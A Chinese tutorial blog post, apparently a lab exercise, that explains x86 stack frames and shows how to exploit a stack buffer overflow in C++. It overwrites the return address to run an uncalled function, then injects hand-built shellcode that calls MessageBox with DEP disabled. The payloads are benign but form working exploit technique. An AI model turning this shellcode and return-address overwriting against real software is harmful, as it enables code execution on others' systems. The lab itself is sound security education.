缓冲区溢出(栈溢出)实验 之 函数调用

前言

之前介绍的的缓冲区溢出导致站内变量值被修改(缓冲区溢出(栈溢出)实验 之 改变栈内的变量

本小节介绍通过缓冲区溢出调用函数,此外通过学习也对函数栈的了解有所加深,这里加上小段自己对函数栈的理解

函数栈的介绍

通过汇编介绍函数执行过程中栈的变化:

EBP:栈底 存储着上一个栈的栈底EBP

ESP:栈顶 存储着系统栈的栈顶(函数栈形成是保存系统栈栈顶)

EIP:存储下一条将要执行指令的地址

我们习惯将栈底和栈顶之间划分为一个栈:访问栈是以栈底EBP作为基准的

调用函数(cdecl调用约定 --》 自右向左压栈 调用者负责清理传参的内存栈)

压入函数参数:

0041171E  lea         eax,[input]  

00411721  push        eax  

调用函数:

00411722  call        overflow (04112A3h)

开辟新栈:

push        ebp  //先将上一个栈的栈底保存到栈中

mov         ebp,esp  //将上一个栈的栈顶作为下一个栈的栈底即ESP赋值给EBP

之后将传递的参数压入栈中,执行函数内的指令

 

mov         esp,ebp  //将存储的上一个栈的栈顶恢复到ESP中

pop         ebp  

ret  

完成栈的恢复,函数结束

 add         esp,4 //清除掉传递参数时开辟的栈内存(此处栈顶上移四个字节) 

1、调用程序自身函数

首选上源码

#include<iostream>
#include<windows.h>
#include <string.h>
using namespace std;
int overflow(const char* input)
{
	BOOL bFlAG = TRUE;
	int nFlag = 1;
	char buf[8];

	memset(buf, 0, 8);
	printf("Virtual address of 'buf' = Ox%p\n", buf);
	printf("Virtual address of 'nFlag' = Ox%p  NUM:%d \r\n", &nFlag, nFlag);
	strcpy(buf, input);
	printf("Virtual address of 'nFlag' = Ox%p  NUM:%d \r\n", &nFlag, nFlag);
	return 0;
}
void Fun()
{
	printf("Buffer Overflow Success!\r\n");
	return;
}

int main()
{

	printf("Virtual address of 'overflow' = Ox%p\n", overflow);
	printf("Virtual address of 'overflow' = Ox%p\n", Fun);
	//注意这里ff后,但其实默认添加了’\0’在最后面
	//char input[] = "AAAAAAAB";//good input, ASCII code of 'A' is 41
//构造新的字符串
char input[] = "AAAAAAAABBBBBBBBAAAC\x46\x17\x41\x00";//0x00411570
	overflow(input);
	system("pause");
	return 0;
}

目标:更改栈的返回值,将返回值改为函数“Fun”的地址,那么当函数overflow返回时,会将返回地址填入EIP中,使得程序执行Fun函数。

 

查看的Fun的地址为0x00411570

进入overflow函数,并且在Fun函数内断点,

查看寄存器得到ESP为0x0019FE34,EBP为0x0019FE90

 

查看栈内存,标记红框的依次为ESP、buf、EBP、返回值(返回值位于EBP下的四字节内存,buf为将要分配给他的内存)

此时运行在“BOOL bFlAG = TRUE;”处

复制“strcpy(buf, input);”前内存情况

 

复制“strcpy(buf, input);”后内存情况

可看出我们将更改了buf、nFlag、bFlag、EBP的内容以及返回地址,其中返回地址修改为“Fun”函数的地址继续运行得到程序的结果如下图,该方法破坏了buf到返回地址存储位置所有的内存

我们成功的在没有调用“Fun”函数的情况下,执行了“Fun”函数

 

不过不幸的是我们破坏了栈的平衡,当程序从Fun函数中退出后,找不到下一句应该执行了语句所在的地址了,该问题导致出现以下提示:

 

问题描述:导致该问题的根源在于栈平衡被破坏,程序无法正确找到下一个执行指令

解决方案:可以在Fun函数加上exit()直接退出进程这个提示就不存在了,但是这个方法仅仅是治标不治本,我们应该去重新调节堆栈的平衡

2、通过缓冲区溢出调用系统函数(messagebox)

#include<iostream>
#include<windows.h>
#include <string.h>
using namespace std;

int overflow(const char* input)
{
	BOOL bFlAG = TRUE;
	int nFlag = 1;
	char buf[44];

	memset(buf, 0, 44);
	printf("Virtual address of 'buf' = Ox%p\n", buf);
	printf("Virtual address of 'nFlag' = Ox%p  NUM:%d \r\n", &nFlag, nFlag);
	strcpy(buf, input);
	printf("Virtual address of 'nFlag' = Ox%p  NUM:%d \r\n", &nFlag, nFlag);
	return 0;
}
void Fun()
{
	printf("Buffer Overflow Success!\r\n");
	exit(0);
	return;
}

int main()
{

	printf("Virtual address of 'overflow' = Ox%p\n", overflow);
	//加载user32.dll库
	HMODULE hUserModule = LoadLibrary("user32.dll");
	if (NULL == hUserModule)
	{
		printf("动态库加载失败BufferOverflow.cpp 错误码:%d \r\n",GetLastError());
		return 0;
	}
	printf("MessageBox Address %X\r\n", MessageBox);
	//MessageBox(NULL, "failwest", "failwest", 0);
	//printf("Virtual address of 'overflow' = Ox%p\n", Fun);
	//注意这里ff后,但其实默认添加了’\0’在最后面
	char input[] = "\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50\x53\xB8\xB0\xF8\x0E\x74\xFF\xD0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x38\xFE\x19"
		
		
		;//Messagebox函数地址:0x740EF8B0
	//char input[] = "AAAAAAB";//good input, ASCII code of 'A' is 41
											  //char input[] = "AAAAAAA";//good input, ASCII code of 'A' is 41
 	overflow(input);
	system("pause");
	return 0;
}

进入overflow函数查看栈内存 ESP = 0019FDEC EBP = 0019FE6C

被标记出来的分别为ESP、EBP、函数结束后的返回地址

Shellcode如何构成

使用ebx的异或作为0使用

调用messagebox函数需要在栈中压入函数的参数(自右向左压入)

33DB XOR EBX,EBX

  1. PUSH EBX  

6877657374 PUSH 74736577

686661696C push 6C696166

将字符串传入EAX中

8BC4 mov eax,esp

53 push ebx

50 push eax

50 push eax

53 push ebx

压栈完毕调用messagebox(地址:0x740EF8B0)x0E\x74\xFF\xD0

B80E74FFD0 mov eax, 0E74FFD0 

FFD0 call eax

然后在函数返回地址处填充buf的地址

在其他非关键位置填充NOP指令,这样就够成了今天使用的shellcode

申请的buf地址为0x0019fe38,在Buf中填充执行调用系统函数的代码,然后再函数返回地址处填充上buf的地址,使得函数执行结束后跳到buf地址处继续执行我们的调用系统函数的地址。系统函数为调用messagebox函数弹出failwest提示消息。

strcpy(buf, input);”函数后

我们发现EBP后的返回地址改为buf的地址,因此程序在结束函数overflow后会调到0x0019fe38处继续执行我们精心构造的shellcode。如此就完成了通过栈溢出调用messagebox函数。

注意:此处会出现栈内存无法执行的问题,解决方案为修改 项目--》属性--》链接器--》高级--》数据执行保护(DEP)  为 否 (/NXCOMPAT:NO)

执行结果为

 

下一篇: 缓冲区溢出(栈溢出)实验 之 JMP ESP

 

  • 2
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值